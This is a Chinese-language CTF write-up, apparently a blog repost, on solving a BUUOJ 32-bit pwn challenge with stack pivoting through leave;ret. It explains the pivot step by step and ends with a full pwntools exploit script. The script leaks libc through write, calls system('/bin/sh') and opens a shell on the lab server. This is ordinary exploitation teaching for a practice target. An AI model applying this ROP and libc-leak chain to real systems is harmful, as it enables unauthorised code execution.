[Black Watch 入群题]PWN 栈劫持的利用

32位程序,开启了nx保护
在这里插入图片描述
没有system函数和‘/bin/sh’的字符串,这边需要我们自己去想办法构造system(‘/bin/sh’)
在这里插入图片描述

思路

第一次输入的参数s,那边我们可以写入很长的数据,我们可以将我们的rop链布置在那里, 接着执行第二次输入,利用站劫持,把程序的执行流程劫持到第一次输入的位置就可以了

站劫持利用

做栈劫持主要用到的是一个leave;ret指令,一般程序执行完成后都会调用leave;ret来还原现场
在这里插入图片描述
payload1=‘a’*0x18+p32(s-4)+p32(leave_ret)
在这里插入图片描述
给buf参数赋值的时候,溢出后将ebp覆写成s-4的地址,函数返回地址覆写成leave;ret指令的地址

理一下这样写程序的执行过程:

首先程序正常结束了,去调用程序本身的leave;ret来还原现场,
根据我们对栈的布局,
mov esp,ebp->将rsp指向了rbp,栈变成了这个样子
在这里插入图片描述
pop ebp->ebp寄存器被我们设置成了参数s-4的地址,指向了我们布置好的栈上方,这边-4是因为我们第二次执行pop ebp给ebp赋值的时候,会将rsp+4,如果不减去4,esp就在程序一开始的时候指向的不是栈顶,而是栈顶+4的位置,我们之后读取数据会丢失一开始的4字节,所以需要一开始的时候将指针往上抬4字节,栈变成了这个样子
在这里插入图片描述ret(pop rip)->去调用leave;ret指令

再次执行leave;ret指令

mov esp,ebp->esp指向了参数s-4的位置,栈布局现在是这样
在这里插入图片描述pop ebp->弹出栈顶的值给ebp,esp+4 向下一步执行之后栈变成了这样,我们成功将esp指针劫持到了我们布置好的栈上
在这里插入图片描述
ret(pop rip)->将esp指向的输值弹给rip
接下来它就会去执行我们布置好的泄露libc的步骤,我们去接收它输出的write函数地址,就知道了libc版本,接下来就能去构造system(’/bin/sh‘)了,接下来在重复一下上述的控制流程,就能拿到shell了

from pwn import *

from LibcSearcher import *

#p=process('./spwn')

r=remote('node4.buuoj.cn',29955)

elf=ELF('./spwn')

write_plt=elf.plt['write']

write_got=elf.got['write']

main=0x8048513

s=0x0804A300

leave_ret=0x08048408

payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

r.recvuntil("What is your name?")

r.send(payload)

payload1='a'*0x18+p32(s-4)+p32(leave_ret)

r.recvuntil("What do you want to say?")

r.send(payload1)

write_addr=u32(r.recv(4))

libc=LibcSearcher('write',write_addr)

libc_base=write_addr-libc.dump('write')

system=libc_base+libc.dump('system')

sh=libc_base+libc.dump('str_bin_sh')

r.recvuntil("name?")

payload=p32(system)+p32(0)+p32(sh)

r.sendline(payload)

r.recvuntil("say?")

r.sendline(payload1)

r.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_45556441/article/details/119756014
今日推荐